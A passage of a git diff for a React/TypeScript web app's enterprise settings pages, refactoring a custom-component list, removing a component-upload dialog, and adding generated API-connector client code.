-                                <DropdownMenuItem className="text-red-600" onClick={() => setShowDeleteDialog(true)}>
-                                    Delete
-                                </DropdownMenuItem>
-                            </DropdownMenuContent>
-                        </DropdownMenu>
                     </div>
                 </div>
 
-                <CollapsibleContent>
-                    <div className="ml-8 mt-4 border-t pt-4">
-                        {isLoadingDefinition ? (
-                            <div className="flex items-center gap-2 text-sm text-gray-500">
-                                <LoadingIcon className="size-4" />
-                                Loading component definition...
-                            </div>
-                        ) : (
-                            <div className="grid grid-cols-2 gap-6">
-                                <div>
-                                    <h4 className="mb-2 flex items-center gap-1 text-sm font-semibold text-gray-700">
-                                        <ZapIcon className="size-4" />
-
-                                        <span>Actions ({actions.length})</span>
-                                    </h4>
-
-                                    {actions.length > 0 ? (
-                                        <ul className="space-y-2">
-                                            {actions.map((action) => (
-                                                <li className="rounded bg-gray-50 p-2" key={action.name}>
-                                                    <div className="text-sm font-medium">
-                                                        {action.title || action.name}
-                                                    </div>
-
-                                                    <div className="text-xs text-gray-500">{action.name}</div>
-
-                                                    {action.description && (
-                                                        <div className="mt-1 text-xs text-gray-600">
-                                                            {action.description}
-                                                        </div>
-                                                    )}
-                                                </li>
-                                            ))}
-                                        </ul>
-                                    ) : (
-                                        <p className="text-sm text-gray-500">No actions defined</p>
-                                    )}
-                                </div>
-
-                                <div>
-                                    <h4 className="mb-2 flex items-center gap-1 text-sm font-semibold text-gray-700">
-                                        <ZapIcon className="size-4" />
-
-                                        <span>Triggers ({triggers.length})</span>
-                                    </h4>
-
-                                    {triggers.length > 0 ? (
-                                        <ul className="space-y-2">
-                                            {triggers.map((trigger) => (
-                                                <li className="rounded bg-gray-50 p-2" key={trigger.name}>
-                                                    <div className="text-sm font-medium">
-                                                        {trigger.title || trigger.name}
-                                                    </div>
-
-                                                    <div className="text-xs text-gray-500">{trigger.name}</div>
-
-                                                    {trigger.description && (
-                                                        <div className="mt-1 text-xs text-gray-600">
-                                                            {trigger.description}
-                                                        </div>
-                                                    )}
-                                                </li>
-                                            ))}
-                                        </ul>
-                                    ) : (
-                                        <p className="text-sm text-gray-500">No triggers defined</p>
-                                    )}
-                                </div>
-                            </div>
+                <div className="flex items-center justify-end gap-x-6">
+                    <div>
+                        {customComponent.language && (
+                            <Badge
+                                className="flex w-24 items-center justify-center"
+                                label={customComponent.language}
+                                styleType="secondary-filled"
+                                weight="semibold"
+                            />
                         )}
                     </div>
-                </CollapsibleContent>
 
-                {showDeleteDialog && (
-                    <CustomComponentDeleteAlertDialog
-                        onClose={() => setShowDeleteDialog(false)}
-                        onDelete={handleAlertDeleteDialogClick}
-                    />
-                )}
+                    <div className="flex flex-col items-end gap-y-4">
+                        <Switch checked={customComponent.enabled} onCheckedChange={handleOnCheckedChange} />
+
+                        <Tooltip>
+                            <TooltipTrigger className="flex items-center text-sm text-gray-500">
+                                {customComponent.lastModifiedDate ? (
+                                    <span className="text-xs">
+                                        {`Modified at ${customComponent.lastModifiedDate?.toLocaleDateString()} ${customComponent.lastModifiedDate?.toLocaleTimeString()}`}
+                                    </span>
+                                ) : (
+                                    '-'
+                                )}
+                            </TooltipTrigger>
+
+                            <TooltipContent>Created Date</TooltipContent>
+                        </Tooltip>
+                    </div>
+
+                    <DropdownMenu>
+                        <DropdownMenuTrigger asChild>
+                            <Button size="icon" variant="ghost">
+                                <EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />
+                            </Button>
+                        </DropdownMenuTrigger>
+
+                        <DropdownMenuContent align="end">
+                            <DropdownMenuItem className="text-red-600" onClick={() => setShowDeleteDialog(true)}>
+                                Delete
+                            </DropdownMenuItem>
+                        </DropdownMenuContent>
+                    </DropdownMenu>
+                </div>
             </div>
-        </Collapsible>
+
+            {showDeleteDialog && (
+                <CustomComponentDeleteAlertDialog
+                    onClose={() => setShowDeleteDialog(false)}
+                    onDelete={handleAlertDeleteDialogClick}
+                />
+            )}
+        </div>
     );
 };
 
diff --git a/client/src/ee/pages/settings/platform/custom-components/components/IconField.tsx b/client/src/ee/pages/settings/platform/custom-components/components/IconField.tsx
index a96d52ecbf4..c0b8a5e8f1d 100644
--- a/client/src/ee/pages/settings/platform/custom-components/components/IconField.tsx
+++ b/client/src/ee/pages/settings/platform/custom-components/components/IconField.tsx
@@ -1,5 +1,5 @@
-import Button from '@/components/Button/Button';
 import {Avatar, AvatarImage} from '@/components/ui/avatar';
+import {Button} from '@/components/ui/button';
 import {ChangeEvent, useRef, useState} from 'react';
 import {ControllerRenderProps, FieldPath, FieldValues} from 'react-hook-form';
 
diff --git a/client/src/ee/pages/settings/platform/custom-components/components/UploadCustomComponentDialog.tsx b/client/src/ee/pages/settings/platform/custom-components/components/UploadCustomComponentDialog.tsx
deleted file mode 100644
index 7cedb50cef9..00000000000
--- a/client/src/ee/pages/settings/platform/custom-components/components/UploadCustomComponentDialog.tsx
+++ /dev/null
@@ -1,178 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    Dialog,
-    DialogCloseButton,
-    DialogContent,
-    DialogDescription,
-    DialogFooter,
-    DialogHeader,
-    DialogTitle,
-    DialogTrigger,
-} from '@/components/ui/dialog';
-import {Label} from '@/components/ui/label';
-import useUploadCustomComponentDialog from '@/ee/pages/settings/platform/custom-components/components/hooks/useUploadCustomComponentDialog';
-import {Loader2Icon, UploadIcon, XIcon} from 'lucide-react';
-import {ReactNode} from 'react';
-import {twMerge} from 'tailwind-merge';
-
-interface UploadCustomComponentDialogProps {
-    trigger?: ReactNode;
-}
-
-const UploadCustomComponentDialog = ({trigger}: UploadCustomComponentDialogProps) => {
-    const {
-        canSubmit,
-        formatFileSize,
-        handleFileChange,
-        handleOpenChange,
-        handleSubmit,
-        open,
-        removeFile,
-        selectedFiles,
-        setOpen,
-        uploading,
-    } = useUploadCustomComponentDialog();
-
-    return (
-        <Dialog onOpenChange={handleOpenChange} open={open}>
-            <DialogTrigger asChild>
-                {trigger ?? (
-                    <Button>
-                        <UploadIcon className="mr-2 size-4" />
-                        Import Component
-                    </Button>
-                )}
-            </DialogTrigger>
-
-            <DialogContent className="sm:max-w-[600px]">
-                <DialogHeader className="flex flex-row items-center justify-between space-y-0">
-                    <div className="flex flex-col space-y-1">
-                        <DialogTitle>Import Custom Component</DialogTitle>
-
-                        <DialogDescription>
-                            Upload a custom component JAR file to deploy it to the platform.
-                        </DialogDescription>
-                    </div>
-
-                    <DialogCloseButton />
-                </DialogHeader>
-
-                <div className="space-y-4 py-4">
-                    <div className="space-y-2">
-                        <Label>Select Component File</Label>
-
-                        <div
-                            className={twMerge(
-                                'flex flex-col items-center justify-center rounded-lg border-2 border-dashed border-gray-300 p-6',
-                                uploading ? 'cursor-not-allowed opacity-50' : 'cursor-pointer hover:bg-gray-50'
-                            )}
-                            onClick={() => !uploading && document.getElementById('component-file-upload')?.click()}
-                        >
-                            <UploadIcon className="mb-2 size-8 text-gray-400" />
-
-                            <p className="text-sm text-gray-600">Drop files here or click to browse</p>
-
-                            <p className="mt-1 text-xs text-gray-400">.JAR, .JS, .PY, .RB files</p>
-
-                            <input
-                                accept=".jar,.js,.py,.rb"
-                                className="hidden"
-                                disabled={uploading}
-                                id="component-file-upload"
-                                multiple
-                                onChange={handleFileChange}
-                                type="file"
-                            />
-                        </div>
-                    </div>
-
-                    {selectedFiles.length > 0 && (
-                        <div className="space-y-2">
-                            <Label>Selected Files ({selectedFiles.length})</Label>
-
-                            <div className="max-h-[250px] space-y-2 overflow-y-auto">
-                                {selectedFiles.map((file, index) => (
-                                    <div
-                                        className="flex items-center justify-between rounded-md border border-gray-200 bg-gray-50 p-2 px-3"
-                                        key={index}
-                                    >
-                                        <div className="flex flex-1 items-center space-x-2 overflow-hidden">
-                                            <span className="truncate text-sm font-medium">{file.file.name}</span>
-
-                                            <span className="text-xs text-gray-400">
-                                                {formatFileSize(file.file.size)}
-                                            </span>
-                                        </div>
-
-                                        <div className="ml-2 flex items-center space-x-2">
-                                            {file.status === 'uploading' && (
-                                                <div className="flex items-center space-x-2">
-                                                    <span className="text-xs text-gray-400">Uploading...</span>
-
-                                                    <Loader2Icon className="size-4 animate-spin text-gray-400" />
-                                                </div>
-                                            )}
-
-                                            {file.status === 'completed' && (
-                                                <div className="flex size-4 items-center justify-center rounded-full bg-green-500">
-                                                    <svg
-                                                        className="size-3 text-white"
-                                                        fill="none"
-                                                        stroke="currentColor"
-                                                        viewBox="0 0 24 24"
-                                                    >
-                                                        <path
-                                                            d="M5 13l4 4L19 7"
-                                                            strokeLinecap="round"
-                                                            strokeLinejoin="round"
-                                                            strokeWidth="2"
-                                                        />
-                                                    </svg>
-                                                </div>
-                                            )}
-
-                                            {file.status === 'error' && (
-                                                <div className="flex items-center space-x-2">
-                                                    <span className="text-xs text-red-500">
-                                                        {file.statusMessage || 'Error'}
-                                                    </span>
-                                                </div>
-                                            )}
-
-                                            {!uploading && (
-                                                <button
-                                                    className="rounded-full p-1 hover:bg-gray-200"
-                                                    onClick={(event) => {
-                                                        event.stopPropagation();
-                                                        removeFile(index);
-                                                    }}
-                                                    type="button"
-                                                >
-                                                    <XIcon className="size-4 text-gray-500" />
-                                                </button>
-                                            )}
-                                        </div>
-                                    </div>
-                                ))}
-                            </div>
-                        </div>
-                    )}
-                </div>
-
-                <DialogFooter>
-                    <Button disabled={uploading} onClick={() => setOpen(false)} variant="ghost">
-                        Cancel
-                    </Button>
-
-                    <Button disabled={!canSubmit || uploading} onClick={handleSubmit}>
-                        {uploading
-                            ? `Uploading ${selectedFiles.filter((selectedFile) => selectedFile.status === 'completed').length}/${selectedFiles.length}...`
-                            : 'Import'}
-                    </Button>
-                </DialogFooter>
-            </DialogContent>
-        </Dialog>
-    );
-};
-
-export default UploadCustomComponentDialog;
diff --git a/client/src/ee/pages/settings/platform/custom-components/components/hooks/useUploadCustomComponentDialog.ts b/client/src/ee/pages/settings/platform/custom-components/components/hooks/useUploadCustomComponentDialog.ts
deleted file mode 100644
index 0176d768140..00000000000
--- a/client/src/ee/pages/settings/platform/custom-components/components/hooks/useUploadCustomComponentDialog.ts
+++ /dev/null
@@ -1,145 +0,0 @@
-import {getCookie} from '@/shared/util/cookie-utils';
-import {useQueryClient} from '@tanstack/react-query';
-import {ChangeEvent, useCallback, useState} from 'react';
-
-interface SelectedFileI {
-    file: File;
-    status: 'completed' | 'error' | 'pending' | 'uploading';
-    statusMessage?: string;
-}
-
-export default function useUploadCustomComponentDialog() {
-    const [open, setOpen] = useState(false);
-    const [selectedFiles, setSelectedFiles] = useState<SelectedFileI[]>([]);
-    const [uploading, setUploading] = useState(false);
-
-    const queryClient = useQueryClient();
-
-    const resetForm = useCallback(() => {
-        setSelectedFiles([]);
-        setUploading(false);
-    }, []);
-
-    const uploadFile = useCallback(async (file: File, index: number) => {
-        setSelectedFiles((prev) => {
-            const copy = [...prev];
-
-            copy[index] = {...copy[index], status: 'uploading'};
-
-            return copy;
-        });
-
-        try {
-            const formData = new FormData();
-
-            formData.append('componentFile', file);
-
-            const response = await fetch('/api/platform/v1/custom-components/deploy', {
-                body: formData,
-                headers: {
-                    'X-XSRF-TOKEN': getCookie('XSRF-TOKEN') || '',
-                },
-                method: 'POST',
-            });
-
-            if (!response.ok) {
-                throw new Error(`Upload failed: ${response.statusText}`);
-            }
-
-            setSelectedFiles((prev) => {
-                const copy = [...prev];
-
-                copy[index] = {
-                    ...copy[index],
-                    status: 'completed',
-                    statusMessage: 'Uploaded successfully',
-                };
-
-                return copy;
-            });
-        } catch (error) {
-            setSelectedFiles((prev) => {
-                const copy = [...prev];
-
-                copy[index] = {
-                    ...copy[index],
-                    status: 'error',
-                    statusMessage: error instanceof Error ? error.message : 'Upload failed',
-                };
-
-                return copy;
-            });
-        }
-    }, []);
-
-    const uploadFiles = useCallback(async () => {
-        setUploading(true);
-
-        const uploadPromises = selectedFiles.map((selectedFile, index) => uploadFile(selectedFile.file, index));
-
-        await Promise.all(uploadPromises);
-
-        queryClient.invalidateQueries({queryKey: ['customComponents']});
-
-        setTimeout(() => {
-            setOpen(false);
-            resetForm();
-        }, 500);
-    }, [selectedFiles, uploadFile, queryClient, resetForm]);
-
-    const handleFileChange = (event: ChangeEvent<HTMLInputElement>) => {
-        if (event.target.files) {
-            const newFiles = Array.from(event.target.files).map((file) => ({
-                file,
-                status: 'pending' as const,
-            }));
-
-            setSelectedFiles((prev) => [...prev, ...newFiles]);
-        }
-    };
-
-    const removeFile = (index: number) => {
-        setSelectedFiles((prev) => prev.filter((_, fileIndex) => fileIndex !== index));
-    };
-
-    const canSubmit = selectedFiles.length > 0 && !uploading;
-
-    const handleSubmit = () => {
-        if (selectedFiles.length > 0) {
-            uploadFiles();
-        }
-    };
-
-    const formatFileSize = (bytes: number) => {
-        if (bytes === 0) {
-            return '0 Bytes';
-        }
-
-        const bytesPerUnit = 1024;
-        const sizeUnits = ['Bytes', 'KB', 'MB', 'GB'];
-        const unitIndex = Math.floor(Math.log(bytes) / Math.log(bytesPerUnit));
-
-        return parseFloat((bytes / Math.pow(bytesPerUnit, unitIndex)).toFixed(1)) + ' ' + sizeUnits[unitIndex];
-    };
-
-    const handleOpenChange = (newOpen: boolean) => {
-        setOpen(newOpen);
-
-        if (!newOpen) {
-            resetForm();
-        }
-    };
-
-    return {
-        canSubmit,
-        formatFileSize,
-        handleFileChange,
-        handleOpenChange,
-        handleSubmit,
-        open,
-        removeFile,
-        selectedFiles,
-        setOpen,
-        uploading,
-    };
-}
diff --git a/client/src/ee/pages/settings/platform/custom-components/mutations/customComponents.mutations.ts b/client/src/ee/pages/settings/platform/custom-components/mutations/customComponents.mutations.ts
new file mode 100644
index 00000000000..712b3254467
--- /dev/null
+++ b/client/src/ee/pages/settings/platform/custom-components/mutations/customComponents.mutations.ts
@@ -0,0 +1,32 @@
+import {CustomComponentApi, EnableCustomComponentRequest} from '@/ee/shared/middleware/platform/custom-component';
+import {useMutation} from '@tanstack/react-query';
+
+interface DeleteCustomComponentMutationProps {
+    onError?: (error: Error, variables: number) => void;
+    onSuccess?: (result: void, variables: number) => void;
+}
+
+export const useDeleteCustomComponentMutation = (mutationProps?: DeleteCustomComponentMutationProps) =>
+    useMutation<void, Error, number>({
+        mutationFn: (id: number) => {
+            return new CustomComponentApi().deleteCustomComponent({
+                id,
+            });
+        },
+        onError: mutationProps?.onError,
+        onSuccess: mutationProps?.onSuccess,
+    });
+
+interface EnableCustomComponentMutationProps {
+    onSuccess?: (result: void, variables: EnableCustomComponentRequest) => void;
+    onError?: (error: Error, variables: EnableCustomComponentRequest) => void;
+}
+
+export const useEnableCustomComponentMutation = (mutationProps: EnableCustomComponentMutationProps) =>
+    useMutation({
+        mutationFn: (request: EnableCustomComponentRequest) => {
+            return new CustomComponentApi().enableCustomComponent(request);
+        },
+        onError: mutationProps?.onError,
+        onSuccess: mutationProps?.onSuccess,
+    });
diff --git a/client/src/ee/pages/settings/platform/custom-components/queries/customComponents.queries.ts b/client/src/ee/pages/settings/platform/custom-components/queries/customComponents.queries.ts
new file mode 100644
index 00000000000..d416b7d02f8
--- /dev/null
+++ b/client/src/ee/pages/settings/platform/custom-components/queries/customComponents.queries.ts
@@ -0,0 +1,14 @@
+import {CustomComponent, CustomComponentApi} from '@/ee/shared/middleware/platform/custom-component';
+
+/* eslint-disable sort-keys */
+import {useQuery} from '@tanstack/react-query';
+
+export const CustomComponentKeys = {
+    customComponents: ['customComponents'] as const,
+};
+
+export const useGetCustomComponentsQuery = () =>
+    useQuery<CustomComponent[], Error>({
+        queryKey: CustomComponentKeys.customComponents,
+        queryFn: () => new CustomComponentApi().getCustomComponents(),
+    });
diff --git a/client/src/ee/pages/settings/platform/git-configuration/components/GitConfigurationForm.tsx b/client/src/ee/pages/settings/platform/git-configuration/components/GitConfigurationForm.tsx
index 3dab9d224f7..cae69469ebc 100644
--- a/client/src/ee/pages/settings/platform/git-configuration/components/GitConfigurationForm.tsx
+++ b/client/src/ee/pages/settings/platform/git-configuration/components/GitConfigurationForm.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Form, FormControl, FormDescription, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
 import {Input} from '@/components/ui/input';
 import {GitConfiguration} from '@/ee/shared/middleware/platform/configuration';
diff --git a/client/src/ee/shared/components/api-keys/components/ApiKeyDialog.tsx b/client/src/ee/shared/components/api-keys/components/ApiKeyDialog.tsx
index 43edcaaa379..8a035ced918 100644
--- a/client/src/ee/shared/components/api-keys/components/ApiKeyDialog.tsx
+++ b/client/src/ee/shared/components/api-keys/components/ApiKeyDialog.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {
     Dialog,
     DialogClose,
diff --git a/client/src/ee/shared/components/api-keys/components/ApiKeyTable.tsx b/client/src/ee/shared/components/api-keys/components/ApiKeyTable.tsx
index b2d28d7b1bc..b22a4d8096b 100644
--- a/client/src/ee/shared/components/api-keys/components/ApiKeyTable.tsx
+++ b/client/src/ee/shared/components/api-keys/components/ApiKeyTable.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Table, TableBody, TableCell, TableHead, TableHeader, TableRow} from '@/components/ui/table';
 import {useApiKeysStore} from '@/ee/shared/components/api-keys/stores/useApiKeysStore';
 import {ApiKey} from '@/shared/middleware/graphql';
@@ -51,24 +51,26 @@ const ApiKeyTable = ({apiKeys}: ApiKeyTableProps) => {
                 cell: (info) => (
                     <>
                         <Button
-                            icon={<EditIcon className="size-4" />}
                             onClick={() => {
                                 setCurrentApiKey(info.row.original);
                                 setShowEditDialog(true);
                             }}
                             size="icon"
                             variant="ghost"
-                        />
+                        >
+                            <EditIcon className="size-4" />
+                        </Button>
 
                         <Button
-                            icon={<Trash2Icon className="h-4 text-destructive" />}
                             onClick={() => {
                                 setCurrentApiKey(info.row.original);
                                 setShowDeleteDialog(true);
                             }}
                             size="icon"
                             variant="ghost"
-                        />
+                        >
+                            <Trash2Icon className="h-4 text-destructive" />
+                        </Button>
                     </>
                 ),
                 header: '',
diff --git a/client/src/ee/shared/middleware/platform/api-connector/.openapi-generator-ignore b/client/src/ee/shared/middleware/platform/api-connector/.openapi-generator-ignore
new file mode 100644
index 00000000000..7484ee590a3
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/.openapi-generator-ignore
@@ -0,0 +1,23 @@
+# OpenAPI Generator Ignore
+# Generated by openapi-generator https://github.com/openapitools/openapi-generator
+
+# Use this file to prevent files from being overwritten by the generator.
+# The patterns follow closely to .gitignore or .dockerignore.
+
+# As an example, the C# client generator defines ApiClient.cs.
+# You can make changes and tell OpenAPI Generator to ignore just this file by uncommenting the following line:
+#ApiClient.cs
+
+# You can match any string of characters against a directory, file or extension with a single asterisk (*):
+#foo/*/qux
+# The above matches foo/bar/qux and foo/baz/qux, but not foo/bar/baz/qux
+
+# You can recursively match patterns against a directory, file or extension with a double asterisk (**):
+#foo/**/qux
+# This matches foo/bar/qux, foo/baz/qux, and foo/bar/baz/qux
+
+# You can also negate patterns with an exclamation (!).
+# For example, you can ignore all files in a docs folder with the file extension .md:
+#docs/*.md
+# Then explicitly reverse the ignore rule for a single file:
+#!docs/README.md
diff --git a/client/src/ee/shared/middleware/platform/api-connector/.openapi-generator/FILES b/client/src/ee/shared/middleware/platform/api-connector/.openapi-generator/FILES
new file mode 100644
index 00000000000..4afe2f16697
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/.openapi-generator/FILES
@@ -0,0 +1,18 @@
+apis/ApiConnectorApi.ts
+apis/index.ts
+docs/ApiConnector.md
+docs/ApiConnectorApi.md
+docs/ApiConnectorEndpoint.md
+docs/HttpMethod.md
+docs/ImportOpenApiSpecificationRequest.md
+docs/Tag.md
+docs/UpdateTagsRequest.md
+index.ts
+models/ApiConnector.ts
+models/ApiConnectorEndpoint.ts
+models/HttpMethod.ts
+models/ImportOpenApiSpecificationRequest.ts
+models/Tag.ts
+models/UpdateTagsRequest.ts
+models/index.ts
+runtime.ts
diff --git a/client/src/ee/shared/middleware/platform/api-connector/.openapi-generator/VERSION b/client/src/ee/shared/middleware/platform/api-connector/.openapi-generator/VERSION
new file mode 100644
index 00000000000..1b2d969d190
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/.openapi-generator/VERSION
@@ -0,0 +1 @@
+7.18.0
diff --git a/client/src/ee/shared/middleware/platform/api-connector/apis/ApiConnectorApi.ts b/client/src/ee/shared/middleware/platform/api-connector/apis/ApiConnectorApi.ts
new file mode 100644
index 00000000000..c56f29ecb86
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/apis/ApiConnectorApi.ts
@@ -0,0 +1,344 @@
+/* tslint:disable */
+/* eslint-disable */
+/**
+ * The Platform API Connector Internal API
+ * No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
+ *
+ * The version of the OpenAPI document: 1
+ * 
+ *
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
+ * https://openapi-generator.tech
+ * Do not edit the class manually.
+ */
+
+
+import * as runtime from '../runtime';
+import type {
+  ApiConnector,
+  ImportOpenApiSpecificationRequest,
+} from '../models/index';
+import {
+    ApiConnectorFromJSON,
+    ApiConnectorToJSON,
+    ImportOpenApiSpecificationRequestFromJSON,
+    ImportOpenApiSpecificationRequestToJSON,
+} from '../models/index';
+
+export interface CreateApiConnectorRequest {
+    apiConnector: Omit<ApiConnector, 'createdBy'|'createdDate'|'definition'|'lastModifiedBy'|'lastModifiedDate'|'specification'>;
+}
+
+export interface DeleteApiConnectorRequest {
+    id: number;
+}
+
+export interface EnableApiConnectorRequest {
+    id: number;
+    enable: boolean;
+}
+
+export interface GetApiConnectorRequest {
+    id: number;
+}
+
+export interface ImportOpenApiSpecificationOperationRequest {
+    importOpenApiSpecificationRequest: ImportOpenApiSpecificationRequest;
+}
+
+export interface UpdateApiConnectorRequest {
+    id: number;
+    apiConnector: Omit<ApiConnector, 'createdBy'|'createdDate'|'definition'|'lastModifiedBy'|'lastModifiedDate'|'specification'>;
+}
+
+/**
+ * 
+ */
+export class ApiConnectorApi extends runtime.BaseAPI {
+
+    /**
+     * Create a new API Connector.
+     * Create a new API Connector
+     */
+    async createApiConnectorRaw(requestParameters: CreateApiConnectorRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<ApiConnector>> {
+        if (requestParameters['apiConnector'] == null) {
+            throw new runtime.RequiredError(
+                'apiConnector',
+                'Required parameter "apiConnector" was null or undefined when calling createApiConnector().'
+            );
+        }
+
+        const queryParameters: any = {};
+
+        const headerParameters: runtime.HTTPHeaders = {};
+
+        headerParameters['Content-Type'] = 'application/json';
+
+
+        let urlPath = `/api-connectors`;
+
+        const response = await this.request({
+            path: urlPath,
+            method: 'POST',
+            headers: headerParameters,
+            query: queryParameters,
+            body: ApiConnectorToJSON(requestParameters['apiConnector']),
+        }, initOverrides);
+
+        return new runtime.JSONApiResponse(response, (jsonValue) => ApiConnectorFromJSON(jsonValue));
+    }
+
+    /**
+     * Create a new API Connector.
+     * Create a new API Connector
+     */
+    async createApiConnector(requestParameters: CreateApiConnectorRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<ApiConnector> {
+        const response = await this.createApiConnectorRaw(requestParameters, initOverrides);
+        return await response.value();
+    }
+
+    /**
+     * Delete an API Connector.
+     * Delete an API Connector
+     */
+    async deleteApiConnectorRaw(requestParameters: DeleteApiConnectorRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<void>> {
+        if (requestParameters['id'] == null) {
+            throw new runtime.RequiredError(
+                'id',
+                'Required parameter "id" was null or undefined when calling deleteApiConnector().'
+            );
+        }
+
+        const queryParameters: any = {};
+
+        const headerParameters: runtime.HTTPHeaders = {};
+
+
+        let urlPath = `/api-connectors/{id}`;
+        urlPath = urlPath.replace(`{${"id"}}`, encodeURIComponent(String(requestParameters['id'])));
+
+        const response = await this.request({
+            path: urlPath,
+            method: 'DELETE',
+            headers: headerParameters,
+            query: queryParameters,
+        }, initOverrides);
+
+        return new runtime.VoidApiResponse(response);
+    }
+
+    /**
+     * Delete an API Connector.
+     * Delete an API Connector
+     */
+    async deleteApiConnector(requestParameters: DeleteApiConnectorRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<void> {
+        await this.deleteApiConnectorRaw(requestParameters, initOverrides);
+    }
+
+    /**
+     * Enable/disable a API Connector.
+     * Enable/disable a API Connector.
+     */
+    async enableApiConnectorRaw(requestParameters: EnableApiConnectorRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<void>> {
+        if (requestParameters['id'] == null) {
+            throw new runtime.RequiredError(
+                'id',
+                'Required parameter "id" was null or undefined when calling enableApiConnector().'
+            );
+        }
+
+        if (requestParameters['enable'] == null) {
+            throw new runtime.RequiredError(
+                'enable',
+                'Required parameter "enable" was null or undefined when calling enableApiConnector().'
+            );
+        }
+
+        const queryParameters: any = {};
+
+        const headerParameters: runtime.HTTPHeaders = {};
+
+
+        let urlPath = `/api-connectors/{id}/enable/{enable}`;
+        urlPath = urlPath.replace(`{${"id"}}`, encodeURIComponent(String(requestParameters['id'])));
+        urlPath = urlPath.replace(`{${"enable"}}`, encodeURIComponent(String(requestParameters['enable'])));
+
+        const response = await this.request({
+            path: urlPath,
+            method: 'PATCH',
+            headers: headerParameters,
+            query: queryParameters,
+        }, initOverrides);
+
+        return new runtime.VoidApiResponse(response);
+    }
+
+    /**
+     * Enable/disable a API Connector.
+     * Enable/disable a API Connector.
+     */
+    async enableApiConnector(requestParameters: EnableApiConnectorRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<void> {
+        await this.enableApiConnectorRaw(requestParameters, initOverrides);
+    }
+
+    /**
+     * Get an API Connector by id.
+     * Get an API Connector by id
+     */
+    async getApiConnectorRaw(requestParameters: GetApiConnectorRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<ApiConnector>> {
+        if (requestParameters['id'] == null) {
+            throw new runtime.RequiredError(
+                'id',
+                'Required parameter "id" was null or undefined when calling getApiConnector().'
+            );
+        }
+
+        const queryParameters: any = {};
+
+        const headerParameters: runtime.HTTPHeaders = {};
+
+
+        let urlPath = `/api-connectors/{id}`;
+        urlPath = urlPath.replace(`{${"id"}}`, encodeURIComponent(String(requestParameters['id'])));
+
+        const response = await this.request({
+            path: urlPath,
+            method: 'GET',
+            headers: headerParameters,
+            query: queryParameters,
+        }, initOverrides);
+
+        return new runtime.JSONApiResponse(response, (jsonValue) => ApiConnectorFromJSON(jsonValue));
+    }
+
+    /**
+     * Get an API Connector by id.
+     * Get an API Connector by id
+     */
+    async getApiConnector(requestParameters: GetApiConnectorRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<ApiConnector> {
+        const response = await this.getApiConnectorRaw(requestParameters, initOverrides);
+        return await response.value();
+    }
+
+    /**
+     * Get API Connectors.
+     * Get API Connectors
+     */
+    async getApiConnectorsRaw(initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<Array<ApiConnector>>> {
+        const queryParameters: any = {};
+
+        const headerParameters: runtime.HTTPHeaders = {};
+
+
+        let urlPath = `/api-connectors`;
+
+        const response = await this.request({
+            path: urlPath,
+            method: 'GET',
+            headers: headerParameters,
+            query: queryParameters,
+        }, initOverrides);
+
+        return new runtime.JSONApiResponse(response, (jsonValue) => jsonValue.map(ApiConnectorFromJSON));
+    }
+
+    /**
+     * Get API Connectors.
+     * Get API Connectors
+     */
+    async getApiConnectors(initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<Array<ApiConnector>> {
+        const response = await this.getApiConnectorsRaw(initOverrides);
+        return await response.value();
+    }
+
+    /**
+     * Create API Connector by importing OpenAPI specification.
+     * Create API Connector by importing OpenAPI specification
+     */
+    async importOpenApiSpecificationRaw(requestParameters: ImportOpenApiSpecificationOperationRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<ApiConnector>> {
+        if (requestParameters['importOpenApiSpecificationRequest'] == null) {
+            throw new runtime.RequiredError(
+                'importOpenApiSpecificationRequest',
+                'Required parameter "importOpenApiSpecificationRequest" was null or undefined when calling importOpenApiSpecification().'
+            );
+        }
+
+        const queryParameters: any = {};
+
+        const headerParameters: runtime.HTTPHeaders = {};
+
+        headerParameters['Content-Type'] = 'application/json';
+
+
+        let urlPath = `/api-connectors/import`;
+
+        const response = await this.request({
+            path: urlPath,
+            method: 'POST',
+            headers: headerParameters,
+            query: queryParameters,
+            body: ImportOpenApiSpecificationRequestToJSON(requestParameters['importOpenApiSpecificationRequest']),
+        }, initOverrides);
+
+        return new runtime.JSONApiResponse(response, (jsonValue) => ApiConnectorFromJSON(jsonValue));
+    }
+
+    /**
+     * Create API Connector by importing OpenAPI specification.
+     * Create API Connector by importing OpenAPI specification
+     */
+    async importOpenApiSpecification(requestParameters: ImportOpenApiSpecificationOperationRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<ApiConnector> {
+        const response = await this.importOpenApiSpecificationRaw(requestParameters, initOverrides);
+        return await response.value();
+    }
+
+    /**
+     * Update an existing API Connector.
+     * Update an existing API Connector
+     */
+    async updateApiConnectorRaw(requestParameters: UpdateApiConnectorRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<runtime.ApiResponse<ApiConnector>> {
+        if (requestParameters['id'] == null) {
+            throw new runtime.RequiredError(
+                'id',
+                'Required parameter "id" was null or undefined when calling updateApiConnector().'
+            );
+        }
+
+        if (requestParameters['apiConnector'] == null) {
